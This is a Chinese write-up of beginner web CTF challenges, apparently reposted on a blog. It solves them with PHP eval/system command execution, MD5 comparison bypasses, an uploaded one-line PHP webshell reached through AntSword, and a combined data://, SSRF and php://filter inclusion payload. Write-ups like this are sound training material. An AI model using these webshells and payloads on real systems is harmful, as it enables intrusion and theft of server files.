BaseCTF 高校联合新生赛Week1(web)

server/2024/9/22 19:08:46/

目录

HTTP 是什么呀

喵喵喵´•ﻌ•`​编辑

 md5绕过欸

A Dark Room

upload

Aura 酱的礼物


HTTP 是什么呀

url转义: 是将URL中的特殊字符转换为有效的ASCII字符格式的过程,以确保URL的正确解析和传输。这个过程涉及到将非ASCII字符替换为“%hh”格式,其中hh为两位十六进制数,对应于该字符在‌ISO-8859-1字符集里的编码值。URL转义的主要目的是为了确保URL中的特殊字符不会干扰URL的结构或被误解为URL的组成部分。

1.encodeURI:用于对一个完整的URI进行编码,保留字符不会被编码,因为这些字符在URI中有特殊的用途,如分隔符。
2.encodeURIComponent:用于对URI的一个组件进行编码,需要编码的字符更多,因为它假定参数是URI的一部分,如协议、主机名、路径或查询字符串。

X-Forwarded-For反向代理是一种常见的网络安全技术,它通过在代理服务器上对客户端的请求进行转发,实现对目标服务器的访问。在这个过程中,代理服务器会隐藏客户端的真实IP地址,从而保护客户端的隐私。

base64编码的flag 

 或者F12查看返回数据包

BaseCTF{f9a3559f-2af1-423e-aa0f-400b53702442} 

喵喵喵´•ﻌ•`

php"> <?php
highlight_file(__FILE__);
error_reporting(0);$a = $_GET['DT'];eval($a);?> 

 题目说是php可以执行系统命令:system()函数可以用来执行系统命令,‌包括"cat"命令。‌

system("ls");

//查看执行程序所在目录下的所有目录内容

以下是使用 system() 函数和 cat 命令显示文件内容的示例代码:

php"><?php
// 要读取的文件路径
$file = 'path/to/your/file.txt';// 使用 system 函数执行 cat 命令
system("cat $file");
?>

 md5绕过欸

php"> <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){$name = $_GET['name'];$name2 = $_GET['name2'];$password = $_POST['password'];$password2 = $_POST['password2'];if ($name != $password && md5($name) == md5($password)){if ($name2 !== $password2 && md5($name2) === md5($password2)){echo $flag;}else{echo "再看看啊,马上绕过嘞!";}}else {echo "错啦错啦";}}
else {echo '没看到参数呐';
}
?> 

第一对哈希值弱相等,第二对哈希值强相等

弱相等绕过:以”0e“开头的字符串,会被识别成数字0

强相等绕过:传数组,哈希值会返回null

 哈希后为0e开头的字符串有:

s878926199a      0e545993274517709034328855841020
s155964671a        0e342768416822451524974117254469  
s214587387a        0e848240448830537924465865611904  
s214587387a        0e848240448830537924465865611904  

或者

A Dark Room

查看源码

upload

没有上传要求,直接上传一句话木马

php"><?php @eval($_POST['flag']);?>

这里的目录是用uploads连接 

检查是否上传成功:没有报错就是成功了,

蚁剑连接:

 在根目录下找到flag文件即可

BaseCTF{08cbb863-0c58-462a-8a3a-da3600310867}

Aura 酱的礼物

php"><?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{die('这是 Aura 的礼物,你不是 Aura!');
}// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{die('这不是 Aura 的博客!');
}$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{die('请去博客里面写下感想哦~');
}// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

这里die函数执行完,后面的都不会再执行,所以要跳过if;

第一:有个file_get_contents()函数,可以用伪协议data

php">data://text/plain;base64,xxxx(base64编码后的数据)

第二:challenge参数开头得是http://jasmineaura.github.io

第三:challenge参数内容又要包含”已经收到kenwang的礼物啦“,这里是ssrf漏洞,使用@127.0.0.1绕过

第四:文件包含include,使用filter伪协议

payload如下:

php">pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=pHp://FilTer/convert.base64-encode/resource=flag.php

 对结果进行base64解码得到flag

伪协议参考blog:http://t.csdnimg.cn/DALv9


 


http://www.ppmy.cn/server/105091.html

相关文章

html 首行缩进2字符

1. html 首行缩进2字符 1.1. 场景 在Html开发中让一段文字&#xff08;富文本等&#xff09;首行缩进两个文字&#xff0c;可能在前面加上8个“ ”&#xff0c;因为过去对CSS不熟悉&#xff0c;这种方法实现虽然比较直接&#xff0c;但是文字多的时候会有很多“ ”充斥在代码中…

MongoDB如何实现大于小于查询

MongoDB是一个高性能、开源、无模式的文档型数据库&#xff0c;它使用BSON&#xff08;Binary JSON&#xff09;作为存储格式&#xff0c;支持丰富的查询语法&#xff0c;包括大于&#xff08; g t &#xff09;、小于&#xff08; gt&#xff09;、小于&#xff08; gt&#x…

webrtc ns 降噪之粉红噪声参数推导

webrtc中降噪中&#xff0c;前50帧需要进行简单噪声估计&#xff0c;使用白噪声和粉红噪声模型估算。 首先我们 复习 有色噪声&#xff08;包含白噪声&#xff09;的一般模型&#xff1a; S(f) 是频率 f 处的功率谱密度。f是频率。α 是一个频谱指数&#xff0c;通常在1左右。…

IOS 13 网络请求和Moya框架

允许HTTP请求 从iOS9开始&#xff0c;推荐使用HTTPS&#xff0c;如果使用的HTTP&#xff0c;默认情况下会出现如下错误&#xff1a; The resource could not be loaded because the App Transport Security policy requires the use of a secure connection. 这是因为iOS9引…

Python WebSocket自动化测试:构建高效接口测试框架

为了更高效地进行WebSocket接口的自动化测试&#xff0c;我们可以搭建一个专门的测试框架。本文将介绍如何使用Python构建一个高效的WebSocket接口测试框架&#xff0c;并重点关注以下四个方面的内容&#xff1a;运行测试文件封装、报告和日志的封装、数据驱动测试以及测试用例…

linux文件——用户缓冲区——概念深度探索、IO模拟实现

前言&#xff1a;本篇文章主要讲解文件缓冲区。 讲解的方式是通过抛出问题&#xff0c; 然后通过分析问题&#xff0c; 将缓冲区的概念与原理一步一步地讲解。同时&#xff0c; 本节内容在最后一部分还会带友友们模拟实现一下c语言的printf&#xff0c; fprintf接口&#xff0c…

2024河南省萌新联赛第(六)场 郑州大学

文章目录 2024河南省萌新联赛第&#xff08;六&#xff09;场 郑州大学A.装备二选一&#xff08;一&#xff09;题意&#xff1a;思路&#xff1a;AC代码&#xff1a; B.百变吗喽题意&#xff1a;思路&#xff1a;AC代码&#xff1a; C.16进制世界题意&#xff1a;思路&#xf…

牛客C++核心面试题总结

前言 总结了C核心面试题&#xff0c;一共80道&#xff0c;供大家学习。 下载链接:https://github.com/mco0308/-C- 以下是目录&#xff1a; # 目录## 一、链表1. 反转链表 ..................................................... 1 2. 链表内指定区间反转 ...............…